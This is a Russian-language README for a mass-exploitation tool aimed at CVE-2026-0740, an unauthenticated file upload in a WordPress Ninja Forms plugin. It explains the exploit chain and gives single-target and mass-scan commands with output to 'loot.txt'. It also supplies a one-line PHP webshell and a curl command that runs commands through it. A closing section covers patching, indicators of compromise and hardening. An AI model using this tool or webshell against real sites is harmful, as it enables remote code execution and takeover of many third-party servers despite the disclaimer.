CVE-2026-0740 — Массовый движок эксплуатации

Автор: 0xNuts
Соавтор: Cursor
Репозиторий: https://github.com/ExDev994/CVE-2026-0740-mass

PoC для CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, что может привести к RCE.

Уязвимость изначально обнаружена Sélim Lanouar (@whattheslime). Массовый PoC-движок разработан 0xNuts при содействии Cursor.

Отказ от ответственности

Этот репозиторий предоставляется только для исследований безопасности и защитных целей (авторизованное тестирование на проникновение, red team с письменного разрешения, проверка патчей и усиление защиты).

• Не используйте против систем без явного разрешения владельца.
• Автор не несет ответственности за неправомерное использование этой информации.

Краткое описание уязвимости

Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов во всех версиях до 3.3.26 (включительно).

Цепочка эксплуатации:

1. Неаутентифицированный злоумышленник получает nonce загрузки через AJAX-действие nf_fu_get_new_nonce с произвольным field_id.
2. Обработчик nf_fu_upload проверяет расширение загружаемого файла (например, image.jpg), но злоумышленник может переопределить имя целевого файла через параметр POST (image_jpg).
3. Имя целевого файла передается в move_uploaded_file() без надлежащей санитарии → произвольное расширение + path traversal (../).

Полный патч доступен в версии 3.3.27+.

Предварительные требования

• Python 3.10+
• На цель установлены и активны плагины Ninja Forms и Ninja Forms - File Uploads (<= 3.3.26)
• Не требуется предварительно существующая форма или поле загрузки

Установка зависимостей

Этот репозиторий содержит только CVE-2026-0740.py и README.md. Установите зависимости вручную:

python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

Использование

Справка CLI

python3 CVE-2026-0740.py -h

Параметры аргументов

Примечание: Необходимо использовать ровно один из -t или -f.

Режим одиночной цели

python3 CVE-2026-0740.py -t http://target.com --shell shell.php

С явным path traversal:

python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

Массовый режим

Создайте файл target.txt:

http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan

Запустите:

python3 CVE-2026-0740.py -f target.txt --shell shell.php

С настройкой worker'ов и файла результатов:

python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

URL успешно загруженных shell будут записаны в файл результатов (режим добавления).

Пример минимального webshell

echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

После успешной загрузки скрипт покажет URL shell. Проверка (только на лабораторных/авторизованных целях):

curl "http://target.com/wp-content/shell.php?cmd=id"

Определение версии плагина (опционально)

httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

Способ исправления (Меры по снижению риска)

1. Обновление плагина (приоритетно)

Немедленно обновите Ninja Forms - File Uploads до версии 3.3.27 или новее.

• WordPress Admin → Plugins → проверьте версию Ninja Forms - File Uploads
• Если автоматическое обновление недоступно, загрузите исправленную версию от официального поставщика

2. Проверка патча

После обновления:

• Убедитесь, что версия плагина >= 3.3.27
• Проверьте endpoint wp-admin/admin-ajax.php с действием nf_fu_get_new_nonce / nf_fu_upload — произвольная загрузка должна быть отклонена
• Повторно просканируйте с помощью сканера (шаблон Nuclei CVE-2026-0740) для подтверждения

3. Индикаторы компрометации (IoC)

Проверьте каталоги загрузки WordPress:

wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

Ищите посторонние файлы: .php, .pht, .phtml, .phar, .html, .svg, .js, которых не должно быть.

Также проверьте журналы веб-сервера на предмет запросов к:

/wp-admin/admin-ajax.php

с параметрами action=nf_fu_get_new_nonce или action=nf_fu_upload.

4. Дополнительное усиление защиты

• WAF / ограничение скорости на /wp-admin/admin-ajax.php для блокировки массовой загрузки

• Отключите выполнение PHP в каталоге wp-content/uploads/ через конфигурацию веб-сервера:

  Apache (.htaccess в uploads/):

  root@kitploit:~

  <FilesMatch "\.php$">
    Require all denied
  </FilesMatch>
  

  Nginx:

  root@kitploit:~

  location ~* /wp-content/uploads/.*\.php$ {
      deny all;
  }
  

• Минимальные привилегии: убедитесь, что права на файлы загрузки не позволяют веб-серверу записывать за пределы необходимых каталогов

• Мониторинг: оповещайте о POST-запросах к admin-ajax.php с действиями nf_fu_* с незнакомых IP или при высоком объеме

• Резервное копирование и реагирование на инциденты: если найдены IoC, изолируйте сайт, смените учетные данные БД/администратора, проверьте другие плагины/темы

5. Если плагин не используется

Отключите и удалите плагин Ninja Forms - File Uploads, если функция загрузки не нужна.

Ссылки

• CVE-2026-0740
• Lexfo — Technical Deep Dive
• Wordfence — 50,000 WordPress Sites Affected
• GHSA-v8wq-rjpf-669f
• Nuclei Template